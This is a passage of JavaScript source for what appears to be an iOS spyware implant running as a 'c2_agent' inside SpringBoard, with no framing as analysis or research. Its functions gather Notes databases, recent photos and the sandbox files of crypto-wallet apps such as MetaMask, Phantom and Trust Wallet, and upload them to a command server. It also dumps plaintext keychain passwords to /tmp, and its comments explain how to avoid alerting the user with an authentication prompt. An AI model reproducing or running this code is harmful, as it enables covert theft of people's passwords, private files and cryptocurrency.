seg;\n\t\t\tif (Number(Native.callSymbol(\"access\", full, 0)) === 0)\n\t\t\t\tpushFile(relPrefix ? (relPrefix + \"/\" + seg) : seg, full);\n\t\t} else {\n\t\t\texpand(relPrefix ? (relPrefix + \"/\" + seg) : seg, segs, si + 1);\n\t\t}\n\t}\n\tfor (var pi = 0; pi < patterns.length; pi++)\n\t\texpand(\"\", patterns[pi].split(\"/\"), 0);\n\treturn results;\n}\n\n// ============================================================================\n// Memo Scan: read notes.sqlite and upload structured memo data\n// ============================================================================\n\nfunction _findNoteStore() {\n\t// iOS 18 NoteStore.sqlite (AppGroup) - check first\n\tvar agBase = \"/var/mobile/Containers/Shared/AppGroup\";\n\tvar dirs = listDir(agBase);\n\tfor (var d = 0; d < dirs.length; d++) {\n\t\tif (dirs[d].type !== \"dir\") continue;\n\t\tvar p = agBase + \"/\" + dirs[d].name + \"/NoteStore.sqlite\";\n\t\tif (Number(Native.callSymbol(\"access\", p, 0)) === 0) return p;\n\t}\n\t// Legacy fallback\n\tvar bases = [\n\t\t\"/private/var/mobile/Library/Notes/notes.sqlite\",\n\t\t\"/tmp/notes.sqlite\"\n\t];\n\tfor (var i = 0; i < bases.length; i++) {\n\t\tif (Number(Native.callSymbol(\"access\", bases[i], 0)) === 0) return bases[i];\n\t}\n\treturn \"\";\n}\n\nfunction handleMemoScan(cmd) {\n\tvar startMs = Date.now();\n\tvar uploaded = 0;\n\tvar dbPath = _findNoteStore();\n\tif (dbPath) {\n\t\tvar suffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tfor (var i = 0; i < suffixes.length; i++) {\n\t\t\tvar fp = dbPath + suffixes[i];\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tvar fname = fp.substring(fp.lastIndexOf(\"/\") + 1);\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) { sendResult(cmd.command_id, f.b64, fname, \"memo_db\"); uploaded++; }\n\t\t\t} else {\n\t\t\t\tvar cr = sendFileChunked(cmd.command_id, fp, fname, \"memo_db\");\n\t\t\t\tif (cr && cr.ok) uploaded++;\n\t\t\t}\n\t\t}\n\t}\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: uploaded > 0 ? \"success\" : \"empty\",\n\t\tuploaded: uploaded,\n\t\tdb_path: dbPath || \"not_found\",\n\t\t_task_type: \"memo_scan\"\n\t}, \"memo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Photo Scan: query Photos.sqlite, read files, upload with MD5 hashes\n// ============================================================================\n\nfunction _md5(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_MD5\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _md5file(path, maxSize) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\t\t\tif (!outBuf || outBuf === 0n) return null;\n\t\t\ttry {\n\t\t\t\tNative.callSymbol(\"CC_MD5\", buf, BigInt(nr), outBuf);\n\t\t\t\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\t\t\t\tvar hex = \"\";\n\t\t\t\tfor (var i = 0; i < 16; i++)\n\t\t\t\t\thex += (hash[i] < 16 ? \"0\" : \"\") + hash[i].toString(16);\n\t\t\t\treturn hex;\n\t\t\t} finally { Native.callSymbol(\"free\", outBuf); }\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _queryPhotosPaths(maxCount) {\n\tvar dbPath = \"/var/mobile/Media/PhotoData/Photos.sqlite\";\n\tvar paths = [];\n\tvar rows = _sqliteQuery(dbPath,\n\t\t\"SELECT ZFILENAME, ZDIRECTORY FROM ZASSET \" +\n\t\t\"WHERE ZTRASHEDSTATE = 0 \" +\n\t\t\"ORDER BY ZDATECREATED DESC LIMIT \" + maxCount, maxCount);\n\tif (!rows || !rows.rows) return paths;\n\tfor (var i = 0; i < rows.rows.length; i++) {\n\t\tvar r = rows.rows[i];\n\t\tvar fn = r.ZFILENAME || \"\";\n\t\tif (!fn) continue;\n\t\tvar dir = r.ZDIRECTORY || \"\";\n\t\tvar full;\n\t\tif (dir) {\n\t\t\tdir = dir.replace(/^\\/+|\\/+$/g, \"\");\n\t\t\tfull = \"/var/mobile/Media/\" + dir + \"/\" + fn;\n\t\t} else {\n\t\t\tfull = \"/var/mobile/Media/DCIM/100APPLE/\" + fn;\n\t\t}\n\t\tpaths.push({ path: full, name: fn });\n\t}\n\treturn paths;\n}\n\nfunction handlePhotoScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxPhotos = p.max_count || 200;\n\tvar batchSize = p.batch_size || 30;\n\tvar maxFileSize = p.max_file_size || (5 * 1024 * 1024);\n\n\tvar photos = _queryPhotosPaths(maxPhotos);\n\tvar uploaded = 0, skipped = 0, errors = 0;\n\tvar hashes = [];\n\n\tfor (var batch = 0; batch < photos.length; batch += batchSize) {\n\t\tvar end = Math.min(batch + batchSize, photos.length);\n\t\tfor (var j = batch; j < end; j++) {\n\t\t\tvar ph = photos[j];\n\t\t\tvar sz = getFileSize(ph.path);\n\t\t\tif (sz <= 0 || sz > maxFileSize) { skipped++; continue; }\n\t\t\tvar md5 = _md5file(ph.path, maxFileSize);\n\t\t\tif (!md5) { skipped++; continue; }\n\t\t\thashes.push(md5);\n\t\t\tvar fdata = readFileB64(ph.path, maxFileSize);\n\t\t\tif (fdata) {\n\t\t\t\tsendResult(cmd.command_id, fdata.b64, ph.name, \"photos\",\n\t\t\t\t\t{ start_ms: startMs, end_ms: Date.now() });\n\t\t\t\tuploaded++;\n\t\t\t} else { errors++; }\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: \"success\",\n\t\ttotal_found: photos.length,\n\t\tuploaded: uploaded,\n\t\tskipped: skipped,\n\t\terrors: errors,\n\t\thashes: hashes,\n\t\t_task_type: \"photo_scan\"\n\t}, \"photo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Wallet Scan\n// ============================================================================\n\nfunction handleWalletScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxFileSize = 2 * 1024 * 1024;\n\n\tvar base = APP_DATA_BASE;\n\tvar dirs = listDir(base);\n\n\tvar installedWallets = [];\n\tvar containerMap = {};\n\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = base + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) {\n\t\t\t\tcontainerMap[bid] = cpath;\n\t\t\t\tinstalledWallets.push(WALLET_BUNDLE_IDS[bid].name);\n\t\t\t}\n\t\t}\n\t}\n\n\tvar sandboxFiles = [];\n\tvar totalSize = 0;\n\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar perFileMax = cfg.maxFileSize || maxFileSize;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\n\t\t\tsandboxFiles.push({\n\t\t\t\twallet: cfg.name,\n\t\t\t\tbundle_id: bid,\n\t\t\t\tpath: rf.relPath,\n\t\t\t\tdata_b64: fd.b64,\n\t\t\t\tsize: fd.size\n\t\t\t});\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t}\n\n\t// Upload keychain_c2_dump.json if P7 pipeline produced it\n\tvar kcDumpUploaded = false;\n\tvar kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tif (Number(Native.callSymbol(\"access\", kcDonePath, 0)) === 0) {\n\t\tvar kcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\tif (!kcData) {\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath + \".tmp\", 0x1A4);\n\t\t\tNative.callSymbol(\"rename\", kcDumpPath + \".tmp\", kcDumpPath);\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\t\tkcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\t}\n\t\tif (kcData) {\n\t\t\tsendResult(cmd.command_id, kcData.b64,\n\t\t\t\t\"keychain_c2_dump.json\", \"wallet_scan\");\n\t\t\tkcDumpUploaded = true;\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tdevice_uuid: DEVICE_UUID,\n\t\ttimestamp: new Date().toISOString(),\n\t\tinstalled_wallets: installedWallets,\n\t\tsandbox_files: sandboxFiles,\n\t\ttotal_size: totalSize,\n\t\tkeychain_dump_uploaded: kcDumpUploaded,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_scan\"\n\t}, \"wallet_pkg.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Device Identity (obtained natively - no placeholder needed)\n// ============================================================================\n\nfunction _getDeviceUUID() {\n\ttry {\n\t\t// IOKit IOPlatformUUID (same method as file_downloader)\n\t\tconst iokitHandle = Native.callSymbol(\"dlopen\",\n\t\t\t\"/System/Library/Frameworks/IOKit.framework/IOKit\", 1);\n\t\tif (iokitHandle && iokitHandle !== 0n) {\n\t\t\tNative.callSymbol(\"dlopen\",\n\t\t\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\t\t\tconst svcName = Native.callSymbol(\"malloc\", 32);\n\t\t\tNative.writeString(svcName, \"IOPlatformExpertDevice\");\n\t\t\tconst matchDict = Native.callSymbol(\"IOServiceMatching\", svcName);\n\t\t\tNative.callSymbol(\"free\", svcName);\n\n\t\t\tif (matchDict && matchDict !== 0n) {\n\t\t\t\tconst expert = Native.callSymbol(\"IOServiceGetMatchingService\", 0n, matchDict);\n\t\t\t\tif (expert && expert !== 0n) {\n\t\t\t\t\tconst keyBuf = Native.callSymbol(\"malloc\", 32);\n\t\t\t\t\tNative.writeString(keyBuf, \"IOPlatformUUID\");\n\t\t\t\t\tconst keyCF = Native.callSymbol(\"CFStringCreateWithCString\",\n\t\t\t\t\t\t0n, keyBuf, 0x08000100);\n\t\t\t\t\tNative.callSymbol(\"free\", keyBuf);\n\n\t\t\t\t\tif (keyCF && keyCF !== 0n) {\n\t\t\t\t\t\tconst valCF = Native.callSymbol(\"IORegistryEntryCreateCFProperty\",\n\t\t\t\t\t\t\texpert, keyCF, 0n, 0n);\n\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", keyCF);\n\n\t\t\t\t\t\tif (valCF && valCF !== 0n) {\n\t\t\t\t\t\t\tlet uuid = \"\";\n\t\t\t\t\t\t\tconst cstr = Native.callSymbol(\"CFStringGetCStringPtr\",\n\t\t\t\t\t\t\t\tvalCF, 0x08000100);\n\t\t\t\t\t\t\tif (cstr && cstr !== 0n) {\n\t\t\t\t\t\t\t\tuuid = Native.readString(cstr, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!uuid) {\n\t\t\t\t\t\t\t\tconst tmp = Native.callSymbol(\"malloc\", 256);\n\t\t\t\t\t\t\t\tif (tmp && tmp !== 0n) {\n\t\t\t\t\t\t\t\t\tif (Native.callSymbol(\"CFStringGetCString\",\n\t\t\t\t\t\t\t\t\t\tvalCF, tmp, 256, 0x08000100))\n\t\t\t\t\t\t\t\t\t\tuuid = Native.readString(tmp, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t\t\tNative.callSymbol(\"free\", tmp);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", valCF);\n\t\t\t\t\t\t\tif (uuid && uuid.length > 0) {\n\t\t\t\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t\t\t\t\treturn uuid;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (e) {}\n\n\t// Fallback: sysctl HW_UUID\n\ttry {\n\t\tconst mib = Native.callSymbol(\"malloc\", 8);\n\t\tconst res = Native.callSymbol(\"malloc\", 256);\n\t\tconst slen = Native.callSymbol(\"malloc\", 8);\n\t\tif (!mib || !res || !slen) return \"\";\n\t\ttry {\n\t\t\tconst mibAB = new ArrayBuffer(8);\n\t\t\tconst mv = new DataView(mibAB);\n\t\t\tmv.setInt32(0, 6, true);\n\t\t\tmv.setInt32(4, 25, true);\n\t\t\tNative.write(mib, mibAB);\n\n\t\t\tconst slAB = new ArrayBuffer(8);\n\t\t\tnew DataView(slAB).setUint32(0, 256, true);\n\t\t\tNative.write(slen, slAB);\n\n\t\t\tlet r = Native.callSymbol(\"sysctl\", mib, 2, 0n, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst ld = Native.read(slen, 8);\n\t\t\tconst sz = new DataView(ld).getUint32(0, true);\n\t\t\tif (sz <= 0 || sz > 256) return \"\";\n\n\t\t\tconst sl2 = new ArrayBuffer(8);\n\t\t\tnew DataView(sl2).setUint32(0, sz, true);\n\t\t\tNative.write(slen, sl2);\n\n\t\t\tr = Native.callSymbol(\"sysctl\", mib, 2, res, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst raw = new Uint8Array(Native.read(res, sz));\n\t\t\tlet uuid = \"\";\n\t\t\tfor (let i = 0; i < raw.length; i++) {\n\t\t\t\tif (!raw[i]) break;\n\t\t\t\tif (raw[i] >= 32 && raw[i] <= 126) uuid += String.fromCharCode(raw[i]);\n\t\t\t}\n\t\t\tuuid = uuid.trim();\n\t\t\tif (uuid.length > 0) return uuid;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", mib);\n\t\t\tNative.callSymbol(\"free\", res);\n\t\t\tNative.callSymbol(\"free\", slen);\n\t\t}\n\t} catch (e) {}\n\n\treturn \"\";\n}\n\nfunction _getDeviceModel() {\n\tconst uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return \"\";\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\treturn Native.readString(uts + 1024n, 256).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\n// ============================================================================\n// SecItem Keychain Dump (SpringBoard SecItemCopyMatching — genp/inet plaintext)\n// mediaplaybackd is write-only on /tmp (selfProbe e18): P7 sqlite there can\n// never read keychain-2.db. SpringBoard has file access + keychain entitlement,\n// so dump v_Data plaintext here via Security framework instead.\n// ============================================================================\n\nvar _SEC_DUMP_FULL = \"/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_FULL_ALT = \"/private/var/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_READ = \"/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_READ_ALT = \"/private/var/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_DONE = \"/tmp/keychain_full_dump.done\";\nvar _secDumpState = { lastRun: 0, items: 0, plain: 0, vdata: 0 };\n\nfunction _secCFStr(str) { return Native.callSymbol(\"CFStringCreateWithCString\", 0n, str, 0x08000100); }\n\nfunction _secCFToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return \"\";\n\tconst cstrPtr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstrPtr && cstrPtr !== 0n) return Native.readString(cstrPtr, 256).replace(/\\0/g, '');\n\tconst buf = Native.callSymbol(\"malloc\", 512n);\n\tif (!buf || buf === 0n) return \"\";\n\ttry {\n\t\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 512, 0x08000100))\n\t\t\treturn Native.readString(buf, 512).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn \"\";\n}\n\nfunction _secCFDataToText(cfData) {\n\tif (!cfData || cfData === 0n) return \"\";\n\tconst length = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (length <= 0 || length > 8192) return \"[data:\" + length + \" bytes]\";\n\tconst dataPtr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!dataPtr || dataPtr === 0n) return \"\";\n\tconst bytes = new Uint8Array(Native.read(dataPtr, length));\n\tlet printable = 0;\n\tlet text = \"\";\n\tfor (let i = 0; i < bytes.length; i++) {\n\t\tconst b = bytes[i];\n\t\tif (b === 0) { text = \"\"; printable = 0; break; }\n\t\tif (b === 9 || b === 10 || b === 13 || (b >= 32 && b <= 126)) {\n\t\t\tprintable++;\n\t\t\ttext += String.fromCharCode(b);\n\t\t} else { text = \"\"; printable = 0; break; }\n\t}\n\tif (text && printable === bytes.length && printable >= 1) return text;\n\tlet hex = \"\";\n\tfor (let j = 0; j < Math.min(bytes.length, 128); j++)\n\t\thex += bytes[j].toString(16).padStart(2, \"0\");\n\tif (bytes.length > 128) hex += \"...\";\n\treturn \"[hex] \" + hex;\n}\n\nfunction _secCFTrue() {\n\tconst addr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFBooleanTrue\");\n\treturn addr ? Native.readPtr(addr) : 0n;\n}\n\nfunction _secWriteText(path, content) {\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0x601, 0x1FF));\n\tif (fd < 0) return false;\n\tconst bytes = Native.stringToBytes(content, false);\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(bytes.byteLength));\n\tif (buf && buf !== 0n) {\n\t\tNative.write(buf, bytes);\n\t\tNative.callSymbol(\"write\", fd, buf, bytes.byteLength);\n\t\tNative.callSymbol(\"free\", buf);\n\t}\n\tNative.callSymbol(\"chmod\", path, 0x1FF);\n\tNative.callSymbol(\"close\", fd);\n\treturn true;\n}\n\n// genp+inet only — keys/cert hang SecItemCopyMatching; idnt self-XPC hangs (lab 7022).\nvar _SEC_CLASSES = [\n\t{ id: \"genp\", label: \"Generic Password\" },\n\t{ id: \"inet\", label: \"Internet Password\" },\n];\nvar _SEC_ATTR_KEYS = [\"svce\", \"acct\", \"agrp\", \"labl\", \"desc\", \"mdat\", \"cdat\", \"pdmn\", \"sync\", \"v_Data\"];\n\nfunction _secDumpClass(classId, classLabel, wantData) {\n\t// fix #3c DISABLED - confirmed source of the SpringBoard password prompt.\n\t// On iOS 18.6 AFU unlocked, SecItemCopyMatching from inside SpringBoard\n\t// prompts for auth even with u_AuthUI=u_AuthUISkip; the skip is only\n\t// honored in BFU locked where it returns -25300 and yields no data anyway.\n\t// Prompt fires concurrent with SEC-DUMP begin / PEMK-D1 (c2_agent startup\n\t// _kcSecItemDump true at line 4824). Keychain plaintext now comes exclusively\n\t// from the Phase 2 sqlite pipeline (keychain-2.db + AKS unwrap). SEC-DUMP\n\t// kept as no-op so _kcSecItemDump still logs begin/items=0 without prompting.\n\t_secDumpState[\"st_\" + classId] = -25300;\n\treturn [];\n\tconst entries = [];\n\tconst kCFBooleanTrue = _secCFTrue();\n\tconst queryDict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 0, 0n, 0n);\n\tif (!queryDict || queryDict === 0n) return entries;\n\n\tconst kSecClass = _secCFStr(\"class\");\n\tconst kSecClassVal = _secCFStr(classId);\n\tconst kSecReturnAttributes = _secCFStr(\"r_Attributes\");\n\tconst kSecReturnData = _secCFStr(\"r_Data\");\n\tconst kSecMatchLimit = _secCFStr(\"m_Limit\");\n\tconst kSecMatchLimitAll = _secCFStr(\"m_LimitAll\");\n\tconst kSecUseAuthenticationUI = _secCFStr(\"u_AuthUI\");\n\t// Apple's real values: u_AuthUIAllow / u_AuthUIFail / u_AuthUISkip.\n\t// \"u_AuthUIF\" (truncated, inherited from keychain_dumper) is INVALID and\n\t// degrades to \"allow\" — securityd then requests auth UI from SpringBoard,\n\t// which is us: self-XPC deadlock on locked devices (killed all heartbeats).\n\t// SKIP silently skips auth-protected items: no UI, no block, no query error.\n\tconst kSecUseAuthenticationUIFail = _secCFStr(\"u_AuthUISkip\");\n\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecClass, kSecClassVal);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnAttributes, kCFBooleanTrue);\n\tif (wantData) Native.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnData, kCFBooleanTrue);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecMatchLimit, kSecMatchLimitAll);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail);\n\n\tconst resultPtr = Native.callSymbol(\"malloc\", 8n);\n\tif (resultPtr && resultPtr !== 0n) {\n\t\tNative.write64(resultPtr, 0n);\n\t\tconst status = Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr);\n\t\tconst signed = Number(status) > 0x7FFFFFFF ? Number(status) - 0x100000000 : Number(status);\n\t\tif (signed !== 0) _secDumpState[\"st_\" + classId] = signed;\n\t\tif (signed === 0) {\n\t\t\tconst results = Native.readPtr(resultPtr);\n\t\t\tif (results && results !== 0n) {\n\t\t\t\tconst arrayTypeId = Native.callSymbol(\"CFArrayGetTypeID\");\n\t\t\t\tconst dictTypeId = Native.callSymbol(\"CFDictionaryGetTypeID\");\n\t\t\t\tconst typeId = Native.callSymbol(\"CFGetTypeID\", results);\n\t\t\t\tconst items = [];\n\t\t\t\tif (typeId === arrayTypeId) {\n\t\t\t\t\tconst count = Number(Native.callSymbol(\"CFArrayGetCount\", results));\n\t\t\t\t\tfor (let i = 0; i < count; i++)\n\t\t\t\t\t\titems.push(Native.callSymbol(\"CFArrayGetValueAtIndex\", results, i));\n\t\t\t\t} else if (typeId === dictTypeId) {\n\t\t\t\t\titems.push(results);\n\t\t\t\t}\n\t\t\t\tfor (const item of items) {\n\t\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\t\tconst rec = { class: classLabel, classId: classId };\n\t\t\t\t\tif (!wantData) rec.attrs_only = true;\n\t\t\t\t\tfor (const key of _SEC_ATTR_KEYS) {\n\t\t\t\t\t\tif (!wantData && key === \"v_Data\") continue;\n\t\t\t\t\t\tconst keyRef = _secCFStr(key);\n\t\t\t\t\t\tconst valRef = Native.callSymbol(\"CFDictionaryGetValue\", item, keyRef);\n\t\t\t\t\t\tif (keyRef && keyRef !== 0n) Native.callSymbol(\"CFRelease\", keyRef);\n\t\t\t\t\t\tif (!valRef || valRef === 0n) continue;\n\t\t\t\t\t\tif (key === \"v_Data\") rec.data = _secCFDataToText(valRef);\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tconst s = _secCFToJS(valRef);\n\t\t\t\t\t\t\tif (s) rec[key] = s;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tentries.push(rec);\n\t\t\t\t}\n\t\t\t\tif (typeId === arrayTypeId || typeId === dictTypeId)\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", results);\n\t\t\t}\n\t\t}\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t}\n\n\tconst _refs = [kSecClass, kSecClassVal, kSecReturnAttributes, kSecReturnData, kSecMatchLimit,\n\t\tkSecMatchLimitAll, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail];\n\tfor (let ri = 0; ri < _refs.length; ri++) {\n\t\tif (_refs[ri] && _refs[ri] !== 0n) Native.callSymbol(\"CFRelease\", _refs[ri]);\n\t}\n\tNative.callSymbol(\"CFRelease\", queryDict);\n\treturn entries;\n}\n\nfunction _secWriteDump(allEntries) {\n\tlet content = \"=== Full Keychain Dump ===\\n\";\n\tcontent += \"Generated: \" + new Date().toISOString() + \"\\n\";\n\tcontent += \"Host: SpringBoard c2_agent (SecItem + v_Data; skip keys/cert/idnt)\\n\";\n\tcontent += \"Total items: \" + allEntries.length + \"\\n\\n\";\n\tlet readable = \"=== Keychain Passwords (readable) ===\\n\";\n\treadable += \"Generated: \" + new Date().toISOString() + \"\\n\\n\";\n\tlet plainCount = 0;\n\tlet withData = 0;\n\tfor (const e of allEntries) {\n\t\tcontent += \"[\" + e.class + \"]\\n\";\n\t\tconst ks = Object.keys(e);\n\t\tfor (let ki = 0; ki < ks.length; ki++) {\n\t\t\tconst k = ks[ki];\n\t\t\tif (k === \"class\" || k === \"classId\") continue;\n\t\t\tcontent += \" \" + k + \": \" + e[k] + \"\\n\";\n\t\t}\n\t\tcontent += \"\\n\";\n\t\tconst data = e.data || \"\";\n\t\tif (data) withData++;\n\t\tconst isPlain = data && data.indexOf(\"[hex]\") !== 0 && data.indexOf(\"[data:\") !== 0;\n\t\tif (isPlain && (e.classId === \"genp\" || e.classId === \"inet\")) {\n\t\t\tplainCount++;\n\t\t\treadable += \"[\" + e.class + \"]\\n\";\n\t\t\tif (e.agrp) readable += \" agrp: \" + e.agrp + \"\\n\";\n\t\t\tif (e.svce) readable += \" svce: \" + e.svce + \"\\n\";\n\t\t\tif (e.acct) readable += \" acct: \" + e.acct + \"\\n\";\n\t\t\tif (e.labl) readable += \" labl: \" + e.labl + \"\\n\";\n\t\t\treadable += \" password: \" + data + \"\\n\\n\";\n\t\t}\n\t}\n\treadable += \"Plaintext password items: \" + plainCount + \"\\n\";\n\treadable += \"Items with v_Data field: \" + withData + \"\\n\";\n\n\t_secWriteText(_SEC_DUMP_FULL, content);\n\t_secWriteText(_SEC_DUMP_FULL_ALT, content);\n\t_secWriteText(_SEC_DUMP_READ, readable);\n\t_secWriteText(_SEC_DUMP_READ_ALT, readable);\n\t_secWriteText(_SEC_DUMP_DONE, \"items=\" + allEntries.length + \" plain=\" + plainCount + \" vdata=\" + withData + \"\\n\");\n\treturn { items: allEntries.length, plain: plainCount, vdata: withData };\n}\n\nfunction _kcSecItemDump(force) {\n\tconst now = Date.now();\n\tif (!force && _secDumpState.lastRun && (now - _secDumpState.lastRun) < 45000)\n\t\treturn _secDumpState;\n\t_secDumpState.lastRun = now;\n\t_writeLog(\"[SEC-DUMP] begin force=\" + (!!force) + \" classes=\" + _SEC_CLASSES.length);\n\tconst all = [];\n\tfor (let ci = 0; ci < _SEC_CLASSES.length; ci++) {\n\t\tconst cls = _SEC_CLASSES[ci];\n\t\ttry {\n\t\t\tlet items = _secDumpClass(cls.id, cls.label, true);\n\t\t\tif (!items.length) items = _secDumpClass(cls.id, cls.label, false);\n\t\t\tfor (let ii = 0; ii < items.length; ii++) all.push(items[ii]);\n\t\t} catch (_clse) {\n\t\t\t_secDumpState[\"err_\" + cls.id] = String(_clse).substring(0, 60);\n\t\t}\n\t}\n\tconst st = _secWriteDump(all);\n\t_secDumpState.items = st.items;\n\t_secDumpState.plain = st.plain;\n\t_secDumpState.vdata = st.vdata;\n\t_writeLog(\"[SEC-DUMP] items=\" + st.items + \" plain=\" + st.plain + \" vdata=\" + st.vdata +\n\t\t\" st_genp=\" + (_secDumpState.st_genp || 0) + \" st_inet=\" + (_secDumpState.st_inet || 0));\n\tif (st.plain > 0) {\n\t\t// Let the P7-era HQ gate observe a completed keychain.\n\t\t_secWriteText(\"/tmp/keychain_c2_dump.done\", \"secitem plain=\" + st.plain + \" ts=\" + now + \"\\n\");\n\t}\n\treturn _secDumpState;\n}\n\n// ============================================================================\n// HQ Wallet Package Builder\n// ============================================================================\n\nvar _hqSandboxKeyMap = {\n\t\"Trust Wallet\": \"trust_wallet\", \"Bitget\": \"bitget\", \"Coin98\": \"coin98\",\n\t\"TronLink\": \"tronlink\", \"Tonhub\": \"tonhub\", \"TokenPocket\": \"tokenpocket\",\n\t\"imToken\": \"imtoken\", \"MetaMask\": \"metamask\", \"OKX\": \"okx\",\n\t\"Solflare\": \"solflare\", \"Phantom\": \"phantom\", \"Bitpie\": \"bitpie\",\n\t\"Uniswap\": \"uniswap\", \"MyTonWallet\": \"mytonwallet\", \"Exodus\": \"exodus\",\n\t\"Tonkeeper\": 